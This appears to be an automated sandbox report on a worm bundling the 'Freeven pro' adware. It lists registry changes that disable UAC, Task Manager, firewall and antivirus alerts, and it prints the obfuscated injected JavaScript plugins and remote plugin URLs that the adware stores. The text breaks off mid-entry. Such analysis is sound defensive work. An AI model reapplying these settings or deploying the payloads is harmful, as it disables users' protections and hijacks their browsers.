[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"AppName" = "Freeven pro-bg.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"AppPath" = "%Program Files%\Freeven pro"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Freeven pro]
"CrAppId" = "54248"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"AppName" = "Freeven pro-codedownloader.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 1E 98 3B FA 27 D3 5F E6 DB 60 96 9F D9 33 E6"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"Policy" = "3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"Policy" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{659b6120-4382-4bc8-90ac-af2cb70f13e4}]
"Policy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"AppName" = "Freeven pro-codedownloader.exe"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{cb254c33-3cc0-4efd-8ccb-f7b15cfb57f5}]
"AppPath" = "%Program Files%\Freeven pro"

[HKLM\SOFTWARE\Freeven pro\Installer]
"BundledChrome" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1860 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Security Center]
"UacDisableNotify" = "1"

[HKCU\Software\Aas]
"a1_0" = "3432392762"

[HKCU\Software\Aas\695404737]
"35845605" = "476"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKCU\Software\Aas\695404737]
"50183847" = "83AD022F944CCF21DDECD41871254667172BA39F3E949513F4CC29B07060AC534912E5BCB155880C2C4326E6FB83E6FA099D4219F6885291D527824C5507229614A07CE2AF035D97263FF7F26AD2ACC9D5D4395D4B8B3109DC5C0C87B31A1505E6E94E08EF20E71B91B96D3856F531DADFD78A894AD6A6C177136C5657B01661"
"43014726" = "0C00687474703A2F2F7777772E6C656479617A696C696D2E636F6D2F6C6F676F2E67696600687474703A2F2F6B73616E64726166617368696F6E2E636F6D2F6C6F676F2E67696600687474703A2F2F7777772E6C6166796572692E636F6D2F696D616765732F6C6F676F2E67696600687474703A2F2F6B756C7070617375722E636F6D2F6C6F676F2E67696600687474703A2F2F746F616C6C616465706170656C2E636F6D2E61722F696D616765732F6C6F676F2E67696600687474703A2F2F7777772E65636F6C652D7361696E742D73696D6F6E2E6E65742F696E6465785F746F702F6C6F676F2E67696600687474703A2F2F6C617A617265612E726F2F696D616765732F6C6F676F2E67696600687474703A2F2F6B6F6F6E6164616E6365322E636F6D2F696D616765732F6C6F676F2E67696600687474703A2F2F6B75706C752E62656C2E74722F696D616765732F6C6F676F2E67696600687474703A2F2F7777772E6C69646572616E636173706F6C6974696361732E636F6D2E62722F6C6F676F2E67696600687474703A2F2F7777772E6C6567616C62696C676973617961722E636F6D2F696D672F6C6F676F2E67696600687474703A2F2F6C696665636F6D32342E636F2E63632F696D616765732F6C6F676F2E676966"

[HKCU\Software\Aas]
"a3_0" = "17001001"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UpdatesDisableNotify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"

[HKCU\Software\Aas\695404737]
"14338242" = "0"
"7169121" = "144"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallDisableNotify" = "1"

[HKCU\Software\Aas\695404737]
"21507363" = "0"
"28676484" = "35"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UacDisableNotify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden" = "2"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A FD FA BB EA 61 DD 80 E7 D5 ED 3C F1 85 44 26"

[HKCU\Software\Aas]
"a2_0" = "5517"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Security Center]
"UpdatesDisableNotify" = "1"

[HKCU\Software\Aas]
"a4_0" = "0"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusOverride" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\c:]
"%original file name%.exe" = "c:\%original file name%.exe:*:Enabled:ipsec"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusDisableNotify" = "1"

Task Manager is disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr" = "1"

The process 875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe:1180 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 39 13 D7 37 B7 61 90 FA 78 35 BD F7 FF B6 0D"

The process 875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe:508 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7B 8F CB F6 60 FA 98 AE 6F 69 75 B0 95 35 D0 20"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process WINMINE.EXE:1048 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "00 B5 46 A7 6F AF E2 6A 7E 95 1F 16 75 E6 3D 2B"

The process WINMINE.EXE:3776 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A E2 E1 83 7B 44 76 38 04 07 94 2A 66 5B 7E 80"

The process WINMINE.EXE:544 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "62 45 2D DF A8 89 E0 A3 8C 14 F3 A9 D5 80 FF AC"

The process Freeven pro-codedownloader.exe:2144 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Freeven pro\Plugins\17]
"JavaScript" = "if(typeof window!==undefined){/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2010, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Sat Feb 13 22:33:48 2010 -0500 */var $$jquery;(function(aO,D){var a=function(e,a0){return new a.fn.init(e,a0);},o=aO.jQuery,S=aO.$,ac=aO.document,Y,Q=/^[^)[^>]*$|^#([\w-] )$/,aY=/^.[^:#\[\.,]*$/,az=/\S/,N=/^(\s|\u00A0) |(\s|\u00A0) $/g,f=/^(?:)?$/,b=navigator.userAgent,v,L=false,af=[],aI,av=Object.prototype.toString,ar=Object.prototype.hasOwnProperty,h=Array.prototype.push,G=Array.prototype.slice,t=Array.prototype.indexOf;a.fn=a.prototype={init:function(e,a2){var a1,a3,a0,a4;if(!e){return this;}if(e.nodeType){this.context=this[0]=e;this.length=1;return this;}if(e===body&&!a2){this.context=ac;this[0]=ac.body;this.se6"

[HKCU\Software\Freeven pro\Plugins\42]
"Name" = "IEInternal"

[HKCU\Software\Freeven pro\Plugins\390]
"Version" = "1"

[HKCU\Software\Freeven pro\Plugins\39]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\47]
"Name" = "resources_background"

[HKCU\Software\Freeven pro\Plugins\180]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTU2MDY1NDUxYTE5MWIxZTMyMTAwMjQ4NTY0NzUwMDUxYjFhMTc1ODQxNDUwZDQ5MDYwYjE3MDcxNjRjMGQwNTAxNDgxMzQzMWYwNjE3NWQ1ODU4NWExNTE3MGI1ZDUzMzgzZDJkMzgyMzM0MjEzZjI2MmEyMjMwMzEyZjM0MzMzNzIzMmIyYjIzM2QzZDNmMmUzODNiMjkzMDMxNDE1NDVjNWMyMjA2MWYwODUyMzEzODIxM2MyNTNmMzQyMDI0MmIyYjM1M2QyZjNhM2MzODNjMmMyMjJiMzgzZDQ4NWM1ZTUxMDAwODA5NWQ1YTNkMzEyOTNlMjgyMTNlM2QyNzIzMjczYzM1MzkzNDM3M2YzMDI3MjMzZDMxNGM1YTU1NDQxZjBhMDg1NjVmNTg1OTViNTU0NDBiNTg1ZDUwNTE1OTU4NWE1ZTQ0NTk1OTViNTA1MDQ4MWUwOTBlMTY1MDMwMzEyNDMwMjEzOTNmMzUzYjI5MmEzYzM4MjMzZTNhMzMyZTM2MzIzMDQ4MTMxNzA3MGU1MTM4MmQyZTNkMjEzNDMxM2MyMzI4MjIyMDMyMjYyMDM0MzYyZjI2MjAyMjIwMzIzYTNkMjIzMDMxMjMyODM4MmQ0ZjQzNjQ2ZTQwMDYxZTE4MTcwMTM4MWQwMjQ1NTg0ZTQ4MDQxMzA2MWQxYzU0NDg0ZDBmNDQxODAxMGEwNDFlNDAwNDBkMDM0NTBkNDkwMjA1MWY1MTUxNTA1ODE4MDkwMTQwNTAzMDMxMjQzMDIxMzkzZjM1M2IyOTJhM2MzODI3MzYzZTI5MjkzNjI4MmIzMTM0MzcyYzM1MjUyMzJkMzI0OTU4NTU1NDIwMGIwMTAyNGYzMjMwMmQzNTJkM2QzOTNlMmUzNjI4M2QzMTI2MzIzZTM1MjIyNjNmMjgzMDMxNDE1NDVjNWMxZTAyMTQ1ZTUyMzEzODIxM2MyNTNmMzQyMDI0MmIya6"

[HKCU\Software\Freeven pro\Plugins\4]
"Name" = "jquery_1_7_1"

[HKCU\Software\Freeven pro\Plugins\78]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/78.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Freeven pro\Plugins\14]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/14.js"

[HKCU\Software\Freeven pro\Plugins\288]
"Name" = "firstoffer_pricecomp_m"

[HKCU\Software\Freeven pro\Plugins\2]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/2.js"

[HKCU\Software\Freeven pro\Plugins\40]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\102]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/102.js"

[HKCU\Software\Freeven pro\Plugins\345]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/345.js"

[HKCU\Software\Freeven pro\Manifest]
"Manifest" = "NA"

[HKCU\Software\Freeven pro\Plugins\40]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.scope=Consts.SCOPE.PAGE;appAPI.internal.callbacks.setEventHandler(externalConsole,function(a){if(appAPI.dom.isIframe()){return;}var c=a.level;var b=a.text;if(typeof c===undefined){console.error(Received undefined Background console level);return;}if(typeof console[c]===undefined){console.error(Received undefined Background console level);return;}if(typeof b===undefined){console.error(Received undefined Background console text);return;}console[c](b);});appAPI.internal.callbacks.setEventHandler(onBeforeNavigate,function(a){});appAPI.internal.callbacks.setEventHandler(windowOpen,function(a){if(appAPI.dom.isIframe()||!appAPI.isActiveTab()){return;}window.open(a.url,a.name,a.specs,a.replace);});try{if(!appAPI.dom.isIframe()){appAPI.internal.activeTabCounter=0;setInterval(function(){if(appAPI.isActi6"

[HKCU\Software\Freeven pro\Plugins\47]
"Version" = "3"

[HKCU\Software\Freeven pro\Manifest]
"IsButtonEnabled" = "false"

[HKCU\Software\Freeven pro\Plugins\226]
"JavaScript" = "appAPI.internal.monetization = appAPI.internal.monetization || {};if (typeof appAPI.internal.monetization.plugins === undefined) { appAPI.internal.monetization.plugins = {}; }appAPI.internal.monetization.plugins[226] = function() { if (appAPI.internal.monetization.loader && appAPI.internal.monetization.loader.setCampaignId && appAPI.internal.monetization.getCampaignId) { if (appAPI.internal.monetization.getCampaignId() == 0) { appAPI.internal.monetization.loader.setCampaignId(1026); } }};"

[HKCU\Software\Freeven pro\Plugins\36]
"Name" = "IEBackground"

[HKCU\Software\Freeven pro\Plugins\345]
"Name" = "pluginsVerticals"

[HKCU\Software\Freeven pro\Manifest]
"PublisherName" = "Freeven"

[HKCU\Software\Freeven pro\Plugins\354]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins\45]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\180]
"Version" = "12"

[HKCU\Software\Freeven pro\Plugins\380]
"Name" = "callcenter_j_m"

[HKCU\Software\Freeven pro\Plugins\334]
"Name" = "sharonl_ws_m"

[HKCU\Software\Freeven pro\Plugins\376]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/376.js"

[HKCU\Software\Freeven pro\Plugins\273]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/273.js"

[HKCU\Software\Freeven pro\Plugins\288]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/288.js"

[HKCU\Software\Freeven pro\Manifest]
"Version" = "111"

[HKCU\Software\Freeven pro\Plugins\9]
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\273]
"Name" = "aedgency_back_button_m"

[HKCU\Software\Freeven pro\Plugins\180]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/180.js"

[HKCU\Software\Freeven pro\Plugins\7]
"JavaScript" = "appAPI.hooks={$:$jquery_171,hooks:{},addHook:function(a,b){this.hooks[a]=b;},removeHook:function(a){delete this.hooks[a];},register:function(b,a){return this.hooks[b]?new (this.$.Class.extend(this.$.extend(this.getClass(),this.$.isFunction(this.hooks[b])?this.hooks[b]():this.hooks[b])))(a):null;},getClass:(function(a){return function(){return{listeners:[],addListener:function(b,c){this.listeners.push({name:b,fn:c});},removeListener:function(c,d){var b=[];a.each(this.listeners,function(e,f){if(c!=f.name&&d!=f.fn){b.push(f);}});this.listeners=b;},fireEvent:function(b,c){a.each(this.listeners,a.proxy(function(d,e){if(b==e.name){e.fn.call(this,c);}},this));}};};}($jquery_171))};"

[HKCU\Software\Freeven pro\Manifest]
"Description" = "Feven Shopping Companion"

[HKCU\Software\Freeven pro\Plugins\220]
"Name" = "icm_base_m"

[HKCU\Software\Freeven pro\Plugins\91]
"Name" = "monetizationLoader.js"

[HKCU\Software\Freeven pro\Plugins\13]
"Name" = "CrossriderAppUtils"

[HKCU\Software\Freeven pro\Plugins\43]
"Name" = "IEMessaging"

[HKCU\Software\Freeven pro\Plugins\230]
"Version" = "7"

[HKCU\Software\Freeven pro\Plugins\45]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.tabId=onRequest;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;(function(){function a(e){var c=appAPI.internal.prefs.getChar(e,Crossrider\\onRequest);if(typeof c!==string){return 0;}if(c.length===0){return 0;}c=appAPI.JSON.parse(c);if(typeof c!==object){return 0;}var d=0;for(var b in c){d ;appAPI.internal.callbacks.addListener(onRequest,function(m,g){var n=appAPI.internal.callbacks.onRequest.listenersAdditionalData[g];if(typeof n.code!==string){return;}var f={};var i;if(typeof n.value===undefined){i=undefined;}else{if(n.value===n6"

[HKCU\Software\Freeven pro\Plugins\64]
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\180]
"Name" = "bpo_serp_m"

[HKCU\Software\Freeven pro\Plugins\200]
"Name" = "foxydeal_m"

[HKCU\Software\Freeven pro\Plugins\41]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/41.js"

[HKCU\Software\Freeven pro\Plugins\43]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/43.js"

[HKCU\Software\Freeven pro\Plugins\7]
"Version" = "2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\36]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.isBackground=true;appAPI.tabId=BG;appAPI.internal.scope=Consts.SCOPE.BACKGROUND;appAPI.openURL=function(c,b){if(typeof c===undefined){return;}var a;if(typeof c===object){a=c;}else{a={url:c,where:b};}appAPI.internal.message.send({eventName:openURL,eventContent:a});};appAPI.internal.runHelper=function(a){if(typeof a!==string){console.error(appAPI.runHelper - Invalid parameter. Expected string (1st param) but got: (typeof a));return;}appAPI.internal.message.send({eventName:runHelper,eventContent:a});};window.alert=function(a){a=(a===null?null:a);a=(typeof a===undefined?undefined:a);appAPIinternal.alert(a);};appAPI.internal._isMonitorAPISupported_=function(){return(typeof appAPIinternal.supportMonitor!==undefined);};window.open=function(b,a,d,c){appAPI.internal.message.send({eventName:windowOpen,eve6"

[HKCU\Software\Freeven pro\Plugins\220]
"Version" = "38"

[HKCU\Software\Freeven pro\Plugins\195]
"Version" = "28"

[HKCU\Software\Freeven pro\Manifest]
"RunInFrame" = "false"
"ChangePrevious" = "false"

[HKCU\Software\Freeven pro\Plugins\253]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/253.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Freeven pro\Plugins\45]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/45.js"

[HKCU\Software\Freeven pro\Plugins\94]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/94.js"

[HKCU\Software\Freeven pro\Plugins\2]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\Freeven pro\Plugins\13]
"JavaScript" = "(function(a){a.selectedText=function(e,c){function d(){if(window.getSelection){return window.getSelection();}else{if(document.getSelection){return document.getSelection();}else{var f=document.selection&&document.selection.createRange();if(f.text){return f.text;}return false;}}return false;}if(e==null){a.debug(selectedText: no callback function provided.);return;}if(c==null){c={};}c.lastSelection=;c.minlength=c.minlength||1;c.maxlength=c.maxlength||99999999;var b;switch(typeof(c.element)){caseundefined:b=$jquery(body);break;caseobject:if(c.element instanceof jQuery){b=c.element;}else{a.debug(selectedText: element provided as an unrecorgnize object.);return;}break;casestring:b=$jquery(c.element);break;default:a.debug(selectedText: unknown element.);return;}b.mouseup(function(g){var f=d();if(f&&String(f)==c.lastSelection){c.lastSelection=;return;}else{c.lastSelection=String(f);}if(f&&String(f).length>=c.minlength&&String(f).length
[HKCU\Software\Freeven pro\Manifest]
"EnableSearchIE" = "false"

[HKCU\Software\Freeven pro\Plugins\391]
"Version" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Freeven pro\Plugins\17]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\193]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/193.js"

[HKCU\Software\Freeven pro\Plugins\78]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\246]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/246.js"

[HKCU\Software\Freeven pro\Plugins\345]
"JavaScript" = "__INFORMATION_MAPPING__={ads:[101,108,116,117,125,126,135,141,158,159,170,171,174,178,180,192,193,206,211,225,230,231,232,233,239,241,261,264,266,279,284,289,297,300,302,306,309,310,314,333,334,339,340,344,363,368,372,374,379,387,388,393],pops:[108,127,155,170,179,190,195,197,208,221,224,265,273,277,278,280,281,292,293,294,296,262,303,324,337,338,341,343,346,347,356,357,358,390],intext:[103,117,123,142,259,263,342,359,360,391],shopping:[92,93,102,104,117,124,128,138,184,191,198,199,200,204,213,215,218,223,227,228,234,235,237,242,243,256,260,254,275,282,288,290,295,301,304,307,308,311,317,325,327,328,335,350,351,369,370,371,375,385,389]};"

[HKCU\Software\Freeven pro\Plugins\4]
"URL" = "http://js.ourstatsstaticstack.com/plugins/javascripts/jquery-1_7_1_min.js"

[HKCU\Software\Freeven pro\Plugins\260]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\281]
"Version" = "3"

[HKCU\Software\Freeven pro\Debug]
"IsDebuggingPlugins" = "0"

[HKCU\Software\Freeven pro\Plugins\64]
"Name" = "appApiMessage"

[HKCU\Software\Freeven pro\Plugins\260]
"Name" = "pricedetect_sidebar_m"

[HKCU\Software\Freeven pro\Plugins\195]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[195]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(195,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:LITE}))();};"

[HKCU\Software\Freeven pro\Plugins\13]
"Version" = "7"

[HKCU\Software\Freeven pro\Manifest]
"homepageurl" = "NA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Freeven pro\Plugins]
"AppPluginList" = "246,42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,7,9,345,354,253,102,180,184,193,220,195,200,221,223,230,233,242,260,273,281,288,334,375,380,390,391,91"

[HKCU\Software\Freeven pro\Plugins\390]
"Name" = "50pops_new_m"

[HKCU\Software\Freeven pro\Plugins\391]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTk0YjAwMWYwMTE3MmQxYTFlNTM1ODRiMDAxZjAxMTc0MjQ3NWQxMjA2MDcwYjBhMTYwZjFkNDUxMzVmMDMwMjA5MDYxNDBlMTAwYzVjMWYwNzFkNDcxODAwMDU1NzAwNDI0ODVhNWIwYTBlNWEzODI3MmIyMDNlMzEzYTNhMjIzMTIyMmEzNzM3MjkzNjJjMjYyZjMwMjMyNzNiMjczMzNkMjAyYzM0MmE0ODE0NDYxODAyNWQxOTAxMGY0ODU1NGE1MTQ2NTcwNzExMWM1NjJhMzgzYjNhM2QyMjMxM2IyMTJmMzAzNTI3MjkyMjIxM2QyNzI5MjYzMDM4Mjc0YTVlNTMwYTFkMWMxYjA2MzIwYTA0NTA0YjQwMDExYzFmMDUxNDQyNDc1ZDEyMDYwNzBiMGExNjBmMWQ0NTEzNWYwMzAyMDkwNjE0MGUxMDBjNWMxZjA3MWQ0NzE4MDAwNTU3MDA0MjQ4NWE1YjBhMGU1YTM4MjcyYjIwM2UzMTNhM2EyMjMxMjIyYTM3MzcyOTM2MmMyNjJmMzAyMzI3M2IyNzMzM2QyMDJjMzQyYTQ4MTQ0NjE4MDI1ZDE5MDEwZjQ4NTU0YTUxNDY1NzA3MTExYzU2MmEzODNiM2EzZDIyMzEzYjIxMmYzMDM1MjcyOTIyMjEzZDI3MjkyNjMwMzgyNzRhNWU1MzEyMDUxZDBjMWMwOTMxMGM1MDRiNTE1MDU5MTY=', 'bihkugxhrq'); }"

[HKCU\Software\Freeven pro\Plugins\46]
"Name" = "IETimers"

[HKCU\Software\Freeven pro\Plugins\242]
"Name" = "price_gong_m"

[HKCU\Software\Freeven pro\Plugins\91]
"Version" = "135"

[HKCU\Software\Freeven pro\Plugins\260]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGI3MDdiNTQwZDAwMTYxZjNkMWYxYzU4NDg1NjQ3MWMxNjFiMTg1NzVmNTUwNTA1NGIwNDEwMDYwYjA4MTQxZjA2MTMwNjAwNGMwYzA3MDA1ZjA5NWQwNjAxMWUxMTVhNWI1YjQyNGIxMzQ2NTM0NTU1MGI1YjA5NWUxMDAxNDkxNjFkMDY1MjM3MzIzMzI4M2QyNTM2MjYyYjJiMmQzZjJmM2YyYTIyMjAzYTI2MmEyYzMyMjMyZjMwMjkyYzMwM2QzMDRlMGMwMDBhMWMxNzA4MTE1ZjMwMzcyZTIyMzUyMTI1MzczZDI2MmEzYTMyMzEyYTIyMjkyYjM1MmYyYTM3MzI1MjU2Nzg3ZjQ3MWMxNjFiMTgxZTI1MDgxZTU0NWY1NDQwMDcxYzE5MDAwOTQ4NTk0YTAzMTE0MTE4MWYxOTE5MTcxMjAwMDAwNzBjMWM0MzEzMTUxZjU5MTY1YjEyMGIwMjFlNDU0OTQ0NDQ1NDE1NTI1OTU5NWExNDQ5MTY1ODBmMDc1ZDFjMDEwOTRkMjUyZDM1MzczYjMxM2MzYTI0MzQzZjIwMjkyMDJjMzYyYTI2MjkzNTNlMmQyNTMwMzYzZDI2MmMzMjJmNWMxMzA2MTUxYTAzMDIwZDUwMmYyNTMxMjQyYTI3MzEzZDIxMjkzNTI4MmQzNzM1MjQzZDIxMjkyMDM1MjUyZDU0NDk3ZTZiNGQxODAxMDUxZDFiMTgyYzEwNDA1NTQ4NWY0NjRhNzgwYg==', 'pzrvetbohm'); }"

[HKCU\Software\Freeven pro\Plugins\375]
"Version" = "1"

[HKCU\Software\Freeven pro\Plugins\376]
